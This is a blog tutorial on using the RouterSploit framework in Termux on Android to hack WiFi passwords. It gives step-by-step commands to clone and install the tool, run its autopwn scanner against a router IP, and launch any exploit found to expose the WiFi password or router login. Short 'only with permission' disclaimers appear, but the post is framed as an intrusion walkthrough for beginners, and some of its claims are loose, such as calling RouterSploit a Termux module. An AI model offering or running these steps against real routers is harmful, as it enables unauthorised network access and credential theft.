How to Hack WiFi Passwords on Android Using Termux (RouterSploit Method)

Learn how to hack WiFi passwords using RouterSploit in Termux on Android — no root required. Educational and beginner-friendly.

ANDROID IS A LINUX-BASED OS SO MOST OF THE LINUX APPLICATIONS WORK ON ANDROID. LINUX IS THE BEST PENETRATING OS AVAILABLE, SO LINUX TOOLS ARE THE BEST.

Now, to crack WiFi passwords on Android, you’ll need an app called Termux, which is easily available on Google Play. Download Termux and follow the steps below. We are going to use the RouterSploit module of Termux for this. The best part — ROOT IS NOT REQUIRED for this method.

STEP 1: Install Termux and Required Packages

Install Termux from Google Play and open it. Then install some basic packages by typing the following command:

pkg install git

Once that finishes, type the next command:

pkg install python2

These two are required for downloading and running the RouterSploit tool.

STEP 2: Clone the RouterSploit Repository

Now go to the GitHub page and copy the cloning URL. If you don’t know how to do this, go to:

https://github.com/reverse-shell/routersploit

Click on the green “Code” button and copy the URL shown there. It should look like this:

https://github.com/reverse-shell/routersploit.git

Now go back to Termux and type:

git clone https://github.com/reverse-shell/routersploit.git

Press enter. The repository will be downloaded into your device.

STEP 3: Enter the RouterSploit Directory and Install Dependencies

After cloning, type:

ls

You will see a folder named routersploit. Now move into that folder:

cd routersploit
ls

To make RouterSploit work, you have to install its requirements. Type the following:

pip2 install -r requirements.txt

Let it finish. Then type the second one:

pip2 install -r requirements-dev.txt

Finally, fix any leftover dependency issues with:

pip2 install requests

STEP 4: Start the RouterSploit Framework

Once everything is installed, you can now launch RouterSploit. In Termux, type:

python2 rsf.py

This command starts RouterSploit. You’ll see something like a terminal inside a terminal. That means it’s running correctly.

STEP 5: Using RouterSploit to Hack WiFi or Test Its Vulnerability

Note: This is for educational and informational purposes. Use only on your own WiFi or with permission.

Let’s continue from where we left off. You’ve already installed and launched RouterSploit. Now we’ll see how to use it.

Step 1: Enter the RouterSploit Directory Again

In case you closed Termux, reopen it and type:

cd routersploit
ls

Then launch RouterSploit again:

python2 rsf.py

Step 2: List Available Modules

Type this to see all the modules:

show all

You’ll see a long list of exploits, payloads, and scanners. For WiFi/router vulnerability testing, I recommend:

use scanner/autopwn

This is an automated scanner that will test for known vulnerabilities.

Step 3: Set Target IP and Port

Now we set the target. Type:

show options

You’ll see fields like target and port.

Set the target to your router’s IP address. You can find it in your phone’s WiFi settings (usually something like 192.168.0.1 or 192.168.1.1).

set target 192.168.1.1
set port 80

Then again, check if everything is set:

show options

Step 4: Start the Exploit Scan

Now run the scan:

exploit

RouterSploit will now try to find known vulnerabilities in the router.

If it finds anything, you’ll see a list of potential exploits. To use one of them, copy its name and type:

use exploit/whatever/you/saw

Then again, set the target:

set target 192.168.1.1
exploit

What Happens Next?

If you are lucky, the router might expose its configuration — including the WiFi password or login credentials. If not, you can keep trying other found vulnerabilities. It’s a trial-and-error method.

Final Words

This method does not require root and works directly from Termux. But remember, RouterSploit works only if your router has known security holes. Many modern routers are patched and won’t be affected.

Use this method only on your own router or with permission. Doing this on someone else’s network without permission is illegal and unethical.

More advanced methods including monitor mode and packet injection require a rooted phone and external WiFi adapter — which is a topic for another post.

Stay tuned — in the next article, we’ll explain more about how to use other modules in RouterSploit and how to patch your router against attacks like these.

Related Posts

Follow kalimux.blogspot.com for more real-world hacking tutorials using Termux.

Post a Comment